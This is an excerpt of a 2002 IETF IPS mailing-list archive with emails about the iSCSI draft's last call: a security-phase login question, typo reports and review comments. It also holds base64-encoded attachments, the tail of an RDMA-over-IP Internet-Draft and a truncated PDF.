aW9uIiwgUkZDIDc5MywgU2VwdGVtYmVyIDE5ODENCg0KICAgICBbUVVBRF0NCiAgICAgICAg ICBRdWFkcml4IFNvbHV0aW9ucywgaHR0cDovL3d3dy5xdWFkcml4LmNvbQ0KDQogICAgIFtT RF0gU29ja2V0cyBEaXJlY3QsDQoNCiAgICAgW1NSVk5FVF0NCiAgICAgICAgICBDb21wYXEg U2VydmVybmV0LA0KICAgICAgICAgIGh0dHA6Ly9ub25zdG9wLmNvbXBhcS5jb20vdmlldy5h c3A/UEFHRT1TZXJ2ZXJOZXQNCg0KICAgICBbU1RSRUFNXQ0KICAgICAgICAgIFRoZSBTVFJF QU0gQmVuY2htYXJrIFJlZmVyZW5jZSBJbmZvcm1hdGlvbiwNCiAgICAgICAgICBodHRwOi8v d3d3LmNzLnZpcmdpbmlhLmVkdS9zdHJlYW0vDQoNCiAgICAgW1RLOTVdDQogICAgICAgICAg TS4gTi4gVGhhZGFuaSwgWS4gQS4gS2hhbGlkaSwgIkFuIGVmZmljaWVudCB6ZXJvLWNvcHkg SS9PDQogICAgICAgICAgZnJhbWV3b3JrIGZvciBVTklYIiwgVGVjaG5pY2FsIFJlcG9ydCwg U01MSSBUUi05NS0zOSwgTWF5IDE5OTUNCg0KICAgICBbVkldIFZpcnR1YWwgSW50ZXJmYWNl IEFyY2hpdGVjdHVyZSBTcGVjaWZpY2F0aW9uIFZlcnNpb24gMS4wLg0KICAgICAgICAgIGh0 dHA6Ly93d3cudmlhcmNoLm9yZy9odG1sL2NvbGxhdGVyYWwvc2FuXzEwLnBkZg0KDQoNCg0K DQoNClJvbWFub3csIGV0IGFsICAgICAgICAgICBFeHBpcmVzIFNlcHRlbWJlciAyMDAyICAg ICAgICAgICAgICAgIFtQYWdlIDE1XQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICAgUkRNQSBv dmVyIElQIFByb2JsZW0gU3RhdGVtZW50ICAgICAgICAgIDIxIEZlYiAyMDAyDQoNCg0KICAg ICBbV2E5N10NCiAgICAgICAgICBKLiBSLiBXYWxzaCwgIkRBUlQ6IEZhc3QgYXBwbGljYXRp b24tbGV2ZWwgbmV0d29ya2luZyB2aWENCiAgICAgICAgICBkYXRhLWNvcHkgYXZvaWRhbmNl IiwgSUVFRSBOZXR3b3JrLCBKdWx5L0F1Z3VzdCAxOTk3LCBwcC4NCiAgICAgICAgICAyOC0z OA0KDQpBdXRob3IncyBBZGRyZXNzDQoNCg0KICAgICBBbGx5biBSb21hbm93DQogICAgIENp c2NvIFN5c3RlbXMsIEluYy4NCiAgICAgMTcwIFcuIFRhc21hbiBEcml2ZQ0KICAgICBTYW4g Sm9zZSwgQ0EgOTUxMzQgVVNBDQoNCiAgICAgUGhvbmU6ICsxIDQwOCA1MjUgODgzNg0KICAg ICBFbWFpbDogYWxseW5AY2lzY28uY29tDQoNCg0KICAgICBUb20gVGFscGV5DQogICAgIE5l dHdvcmsgQXBwbGlhbmNlDQogICAgIDM3NSBUb3R0ZW4gUG9uZCBSb2FkDQogICAgIFdhbHRo YW0sIE1BIDAyNDUxIFVTQQ0KDQogICAgIFBob25lOiArMSA3ODEgNzY4LTUzMjkNCiAgICAg RU1haWw6IHRob21hcy50YWxwZXlAbmV0YXBwLmNvbQ0KDQoNCiAgICAgSmVmZnJleSBDLiBN b2d1bA0KICAgICBXZXN0ZXJuIFJlc2VhcmNoIExhYm9yYXRvcnkNCiAgICAgQ29tcGFxIENv bXB1dGVyIENvcnBvcmF0aW9uDQogICAgIDI1MCBVbml2ZXJzaXR5IEF2ZW51ZQ0KICAgICBQ YWxvIEFsdG8sIENhbGlmb3JuaWEsIDk0MzA1IFVTQQ0KDQogICAgIFBob25lOiArMSA2NTAg NjE3IDMzMDQgKGVtYWlsIHByZWZlcnJlZCkNCiAgICAgRU1haWw6IEplZmZNb2d1bEBhY20u b3JnDQoNCg0KICAgICBTdGVwaGVuIEJhaWxleQ0KICAgICBTYW5kYnVyc3QgQ29ycG9yYXRp b24NCiAgICAgNjAwIEZlZGVyYWwgU3RyZWV0DQogICAgIEFuZG92ZXIsIE1BICAwMTgxMA0K ICAgICBVU0ENCg0KICAgICBQaG9uZTogKzEgOTc4IDY4OSAxNjE0DQogICAgIEVtYWlsOiBz dGVwaEBzYW5kYnVyc3QuY29tDQoNCg0KDQoNCg0KDQoNClJvbWFub3csIGV0IGFsICAgICAg ICAgICBFeHBpcmVzIFNlcHRlbWJlciAyMDAyICAgICAgICAgICAgICAgIFtQYWdlIDE2XQ0K DA0KSW50ZXJuZXQtRHJhZnQgICAgICAgUkRNQSBvdmVyIElQIFByb2JsZW0gU3RhdGVtZW50 ICAgICAgICAgIDIxIEZlYiAyMDAyDQoNCg0KRnVsbCBDb3B5cmlnaHQgU3RhdGVtZW50DQoN CiAgICAgQ29weXJpZ2h0IChDKSBUaGUgSW50ZXJuZXQgU29jaWV0eSAoMjAwMikuIEFsbCBS aWdodHMgUmVzZXJ2ZWQuDQoNCiAgICAgVGhpcyBkb2N1bWVudCBhbmQgdHJhbnNsYXRpb25z IG9mIGl0IG1heSBiZSBjb3BpZWQgYW5kIGZ1cm5pc2hlZCB0bw0KICAgICBvdGhlcnMsIGFu ZCBkZXJpdmF0aXZlIHdvcmtzIHRoYXQgY29tbWVudCBvbiBvciBvdGhlcndpc2UgZXhwbGFp bg0KICAgICBpdCBvciBhc3Npc3QgaW4gaXRzIGltcGxlbWVudGF0aW9uIG1heSBiZSBwcmVw YXJlZCwgY29waWVkLA0KICAgICBwdWJsaXNoZWQgYW5kIGRpc3RyaWJ1dGVkLCBpbiB3aG9s ZSBvciBpbiBwYXJ0LCB3aXRob3V0IHJlc3RyaWN0aW9uDQogICAgIG9mIGFueSBraW5kLCBw cm92aWRlZCB0aGF0IHRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFuZCB0aGlzDQogICAg IHBhcmFncmFwaCBhcmUgaW5jbHVkZWQgb24gYWxsIHN1Y2ggY29waWVzIGFuZCBkZXJpdmF0 aXZlIHdvcmtzLg0KICAgICBIb3dldmVyLCB0aGlzIGRvY3VtZW50IGl0c2VsZiBtYXkgbm90 IGJlIG1vZGlmaWVkIGluIGFueSB3YXksIHN1Y2gNCiAgICAgYXMgYnkgcmVtb3ZpbmcgdGhl IGNvcHlyaWdodCBub3RpY2Ugb3IgcmVmZXJlbmNlcyB0byB0aGUgSW50ZXJuZXQNCiAgICAg U29jaWV0eSBvciBvdGhlciBJbnRlcm5ldCBvcmdhbml6YXRpb25zLCBleGNlcHQgYXMgbmVl ZGVkIGZvciB0aGUNCiAgICAgcHVycG9zZSBvZiBkZXZlbG9waW5nIEludGVybmV0IHN0YW5k YXJkcyBpbiB3aGljaCBjYXNlIHRoZQ0KICAgICBwcm9jZWR1cmVzIGZvciBjb3B5cmlnaHRz IGRlZmluZWQgaW4gdGhlIEludGVybmV0IFN0YW5kYXJkcyBwcm9jZXNzDQogICAgIG11c3Qg YmUgZm9sbG93ZWQsIG9yIGFzIHJlcXVpcmVkIHRvIHRyYW5zbGF0ZSBpdCBpbnRvIGxhbmd1 YWdlcw0KICAgICBvdGhlciB0aGFuIEVuZ2xpc2guDQoNCiAgICAgVGhlIGxpbWl0ZWQgcGVy bWlzc2lvbnMgZ3JhbnRlZCBhYm92ZSBhcmUgcGVycGV0dWFsIGFuZCB3aWxsIG5vdCBiZQ0K ICAgICByZXZva2VkIGJ5IHRoZSBJbnRlcm5ldCBTb2NpZXR5IG9yIGl0cyBzdWNjZXNzb3Jz IG9yIGFzc2lnbnMuDQoNCiAgICAgVGhpcyBkb2N1bWVudCBhbmQgdGhlIGluZm9ybWF0aW9u IGNvbnRhaW5lZCBoZXJlaW4gaXMgcHJvdmlkZWQgb24NCiAgICAgYW4gIkFTIElTIiBiYXNp cyBhbmQgVEhFIElOVEVSTkVUIFNPQ0lFVFkgQU5EIFRIRSBJTlRFUk5FVA0KICAgICBFTkdJ TkVFUklORyBUQVNLIEZPUkNFIERJU0NMQUlNUyBBTEwgV0FSUkFOVElFUywgRVhQUkVTUyBP Ug0KICAgICBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIEFOWSBXQVJS QU5UWSBUSEFUIFRIRSBVU0UgT0YNCiAgICAgVEhFIElORk9STUFUSU9OIEhFUkVJTiBXSUxM IE5PVCBJTkZSSU5HRSBBTlkgUklHSFRTIE9SIEFOWSBJTVBMSUVEDQogICAgIFdBUlJBTlRJ RVMgT0YgTUVSQ0hBTlRBQklMSVRZIE9SIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQ T1NFLg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K Um9tYW5vdywgZXQgYWwgICAgICAgICAgIEV4cGlyZXMgU2VwdGVtYmVyIDIwMDIgICAgICAg ICAgICAgICAgW1BhZ2UgMTddDQoMDQoNCg0K --QW6419Rf876l52z0pS7P901m1e08-- From owner-ips@ece.cmu.edu Fri Aug 23 04:57:27 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01719 for ; Fri, 23 Aug 2002 04:57:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7N8LtN26711 for ips-outgoing; Fri, 23 Aug 2002 04:21:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7N8Lro26707 for ; Fri, 23 Aug 2002 04:21:53 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7N8LbA9040838; Fri, 23 Aug 2002 10:21:37 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7N8LaSh070346; Fri, 23 Aug 2002 10:21:37 +0200 To: Steve Senum Cc: ietf-ips MIME-Version: 1.0 Subject: Re: iSCSI: Security Phase Question X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 23 Aug 2002 11:21:34 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 23/08/2002 11:21:36, Serialize complete at 23/08/2002 11:21:36 Content-Type: multipart/alternative; boundary="=_alternative 002C859FC2256C1E_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002C859FC2256C1E_= Content-Type: text/plain; charset="us-ascii" the lucky number is 2 - julo Steve Senum 08/22/2002 11:56 PM To: ietf-ips cc: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI: Security Phase Question Hi Julian, I have a question on Security Phase negotiation. From section 4.3.1: If the initiator is willing to negotiate iSCSI security, but is unwilling to make the initial parameter proposal and may accept a connection without iSCSI security, it issues the Login with the T bit set to 1, the CSG set to SecurityNegotiation, and NSG set to LoginOp- erationalNegotiation. If the target is also ready to skip security, the login response contains only the TargetPortalGroupTag key (see Section 11.9 TargetPortalGroupTag), the T bit set to 1, the CSG set to SecurityNegotiation, and NSG set to LoginOperationalNegotiation. My question is, what should the Target do if the Initiator issues the Login with the T bit set to 0 and the Target does want to negotiate iSCSI security (AuthMethod). 1. Keep replying with an empty login with T=0 until the Initiator sends T=1. 2. Reply immediately with T=0 and AuthMethod. 3. Decide this is a protocol error and close the connection. 4. Do something else? Regards, Steve Senum --=_alternative 002C859FC2256C1E_= Content-Type: text/html; charset="us-ascii"
the lucky number is 2 - julo


Steve Senum <ssenum@cisco.com>

08/22/2002 11:56 PM

       
        To:        ietf-ips <ips@ece.cmu.edu>
        cc:        Julian Satran/Haifa/IBM@IBMIL
        Subject:        iSCSI: Security Phase Question

       


Hi Julian,

I have a question on Security Phase negotiation.  From section 4.3.1:

 If the initiator is willing to negotiate iSCSI security, but is
 unwilling to make the initial parameter proposal and may accept a
 connection without iSCSI security, it issues the Login with the T bit
 set to 1, the CSG set to SecurityNegotiation, and NSG set to LoginOp-
 erationalNegotiation. If the target is also ready to skip security,
 the login response contains only the TargetPortalGroupTag key (see
 Section 11.9 TargetPortalGroupTag), the T bit set to 1, the CSG set
 to SecurityNegotiation, and NSG set to LoginOperationalNegotiation.

My question is, what should the Target do if the Initiator issues
the Login with the T bit set to 0 and the Target does want to
negotiate iSCSI security (AuthMethod).

1. Keep replying with an empty login with T=0 until the
  Initiator sends T=1.
2. Reply immediately with T=0 and AuthMethod.
3. Decide this is a protocol error and close the connection.
4. Do something else?

Regards,
Steve Senum

--=_alternative 002C859FC2256C1E_=-- From owner-ips@ece.cmu.edu Fri Aug 23 09:59:21 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07039 for ; Fri, 23 Aug 2002 09:59:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7NDNmn19778 for ips-outgoing; Fri, 23 Aug 2002 09:23:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com ([64.238.111.99]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7NDNko19773 for ; Fri, 23 Aug 2002 09:23:46 -0400 (EDT) Received: by ATLOPS with Internet Mail Service (5.5.2653.19) id ; Fri, 23 Aug 2002 09:23:45 -0400 Message-ID: From: Eddy Quicksall To: Julian Satran , ips@ece.cmu.edu Subject: RE: iSCSI-Eddy Quicksall's diagrams available Date: Fri, 23 Aug 2002 09:23:44 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24AA8.4E624760" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24AA8.4E624760 Content-Type: text/plain; charset="iso-8859-1" They are not copyrighted and anyone that has comments as to correctness, I would appreciate the comments. Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, August 20, 2002 7:46 AM To: ips@ece.cmu.edu Subject: iSCSI-Eddy Quicksall's diagrams available Dear all, Eddy Quicksall has gracefully agreed to place some iSCSI diagrams in pdf format on my site. The diagrams help explain some iSCSI notions. I do not know however what their copyright status is - so unless we get explicit permission from please use them only for your own education. Thanks Eddy, Julo ------_=_NextPart_001_01C24AA8.4E624760 Content-Type: text/html; charset="iso-8859-1"

They are not copyrighted and anyone that has comments as to correctness, I would appreciate the comments.
 
Eddy
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Tuesday, August 20, 2002 7:46 AM
To: ips@ece.cmu.edu
Subject: iSCSI-Eddy Quicksall's diagrams available


Dear all,

Eddy Quicksall has gracefully agreed to place some iSCSI diagrams in pdf format
on my site. The diagrams help explain some iSCSI notions.

I do not know however what their copyright status is - so unless we get explicit permission from
please use them only for your own education.

Thanks Eddy,
Julo
------_=_NextPart_001_01C24AA8.4E624760-- From owner-ips@ece.cmu.edu Fri Aug 23 16:50:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA17282 for ; Fri, 23 Aug 2002 16:50:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7NKBDr12642 for ips-outgoing; Fri, 23 Aug 2002 16:11:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dmz1.silverbacksystems.com (dmz1.silverbacksystems.com [65.172.158.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7NKB9o12637; Fri, 23 Aug 2002 16:11:09 -0400 (EDT) Received: from ns.silverbacksystems.com (gate-camp-hme0.silverbacksystems.com [65.172.158.93]) by dmz1.silverbacksystems.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5555BB4F7; Fri, 23 Aug 2002 13:10:43 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by ns.silverbacksystems.com (Postfix on SuSE Linux eMail Server 3.0) with ESMTP id 1DDF5117D; Fri, 23 Aug 2002 13:10:43 -0700 (PDT) Content-Type: text/html; charset="us-ascii" Date: Fri, 23 Aug 2002 13:09:45 -0700 From: Carlos Rimola In-Reply-To: Message-Id: <5.1.0.14.0.20020823100806.00a69548@pop.silverbacksystems.com> Mime-Version: 1.0 Received: from ns.silverbacksystems.com (localhost [127.0.0.1]) by localhost (AvMailGate-2.0.0.6) id 19495-224B2520; Fri, 23 Aug 2002 13:09:47 -0700 Received: from carlos.silverbacksystems.com (carlos.corp.silverbacksystems.com [10.0.16.197]) by ns.silverbacksystems.com (Postfix on SuSE Linux eMail Server 3.0) with ESMTP id 2A67329A1; Fri, 23 Aug 2002 13:09:47 -0700 (PDT) Subject: A couple of syntax errors in working draft To: ips@ece.cmu.edu, owner-ips@ece.cmu.edu X-AntiVirus: OK! AntiVir MailGate Version 2.0.0.6 at ns.silverbacksystems.com has not found any known virus in this email. X-Mailer: QUALCOMM Windows Eudora Version 5.1 X-Sender: crimola@pop.silverbacksystems.com Sender: owner-ips@ece.cmu.edu Precedence: bulk Hello list, 

Here are a couple of syntax errors discovered in working-draft-16:

(1)
2.2.4.3 Tags and integrity checks

(2nd paragraph, top of page 37):

As the Initiator Task Tag is used to identify a task during its execution
the iSCSI initiator and target MUST verify that all other
fields used in task related PDUs have values are consistent with the
                                          ^^^^^
I believe the third line should have a "that" to read "have values that are consistent..."


(2)
8.3 iSCSI timeouts


(3rd paragraph on page 124):

The relation between iSCSI timeouts and SCSI timeouts should also be
considered. SCSI timeouts should be longer than iSCSI timeouts plus
the time required for iSCSI recovery whenever iSCSI recovery is
planned. Alternatively an implementer may choose to interlock iSCSI
timeouts and recovery with SCSI timeouts so that SCSI will recovery
                                                      ^^^^
will become active only where iSCSI is not planned to or failed to
recover.


The "will" between SCSI and recovery should be removed.


Carlos Rimola
Silverback Systems


At 11:00 PM 8/22/2002 +0300, Julian Satran wrote:

thanks - Julo


"Anshul Chadda" <achadda@trebia.com>
Sent by: owner-ips@ece.cmu.edu

08/22/2002 05:57 PM
Please respond to "Anshul Chadda"
       
        To:        <ips@ece.cmu.edu>
        cc:       
        Subject:        typo in Appendix D SendTargets Operation

      

Hi all:

In Appendix D, page 254, in the following paragraph there is an extra "not" after MUST NOT. I think it is a typo.

"A SendTargets response MUST NOT not contain target names if there are no targets for the requesting initiator to access."

Thanks,
 
Anshul Chadda
Trebia Networks
33 Nagog Park
Acton, MA 01720
Work:978-264-7654
Cell:603-591-1375

From owner-ips@ece.cmu.edu Fri Aug 23 21:11:03 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21908 for ; Fri, 23 Aug 2002 21:11:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7O0asw23906 for ips-outgoing; Fri, 23 Aug 2002 20:36:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7O0apo23898 for ; Fri, 23 Aug 2002 20:36:52 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id RAA02803; Fri, 23 Aug 2002 17:36:42 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 23 Aug 2002 17:36:42 -0700 Message-ID: From: Brian Forbes To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th Date: Fri, 23 Aug 2002 17:36:41 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C24B06.50EB9AA0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C24B06.50EB9AA0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24B06.50EB9AA0" ------_=_NextPart_001_01C24B06.50EB9AA0 Content-Type: text/plain Hi, Julian, attached is a list of issues; all but 2 of them are editorial. I'll post the technical issues in a separate e-mail Regards, Brian Forbes Brocade Communications -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, August 12, 2002 8:05 AM To: ips@ece.cmu.edu Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th Dear All, As for the first WG Last Call you will find at: http://www.haifa.il.ibm.com/satran/ips A list of issues and their resolution and the "running version 16" in pdf and text. Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM ----- Elizabeth Rodriguez Sent by: owner-ips@ece.cmu.edu 08/12/2002 12:01 AM To: "'ips@ece.cmu.edu'" cc: Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th All, We would like to announce IPS WG last call on the iSCSI draft. This is the second WG last call, and all comments from the first WG last call period should be addressed by this draft. (Note: Addressed means that all comments were considered, not necessarily accepted.) The last call period is for two weeks, ending at 5pm EST on Sunday, August 25th. Editorial comments may be directly sent to Julian Satran (Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com), David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com). Technical comments should be sent to the IPS mailing list for discussion. There are two versions of the document available: Text: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt PDF: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf The two documents should be identical, but the official version is the text version. Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs ------_=_NextPart_001_01C24B06.50EB9AA0 Content-Type: text/html

Hi, Julian, attached is a list of issues; all but 2 of them are editorial.  I'll post the technical issues in a separate e-mail

Regards,

Brian Forbes
Brocade Communications

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Monday, August 12, 2002 8:05 AM
To: ips@ece.cmu.edu
Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th


Dear All,

As for the first WG Last Call you will find at:

http://www.haifa.il.ibm.com/satran/ips

A list of issues and their resolution and the "running version 16" in pdf and text.

Julo
----- Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM -----
Elizabeth Rodriguez <erodrigu@Brocade.COM>
Sent by: owner-ips@ece.cmu.edu

08/12/2002 12:01 AM

       
        To:        "'ips@ece.cmu.edu'" <ips@ece.cmu.edu>
        cc:        
        Subject:        IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu        st 25th

       


All,

We would like to announce IPS WG last call on the iSCSI draft.
This is the second WG last call, and all comments from the first WG last
call period should be addressed by this draft.
(Note:  Addressed means that all comments were considered, not necessarily
accepted.)

The last call period is for two weeks, ending at 5pm EST on Sunday, August
25th.
Editorial comments may be directly sent to Julian Satran
(Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com),
David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com).
Technical comments should be sent to the IPS mailing list for discussion.

There are two versions of the document available:
Text:  http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt
PDF:  http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf

The two documents should be identical, but the official version is the text
version.

Thanks,

Elizabeth Rodriguez & David Black,
IPS co-chairs




------_=_NextPart_001_01C24B06.50EB9AA0-- ------_=_NextPart_000_01C24B06.50EB9AA0 Content-Type: application/octet-stream; name="BRCD_iSCSI_16_Comments.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="BRCD_iSCSI_16_Comments.pdf" Content-Transfer-Encoding: base64 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 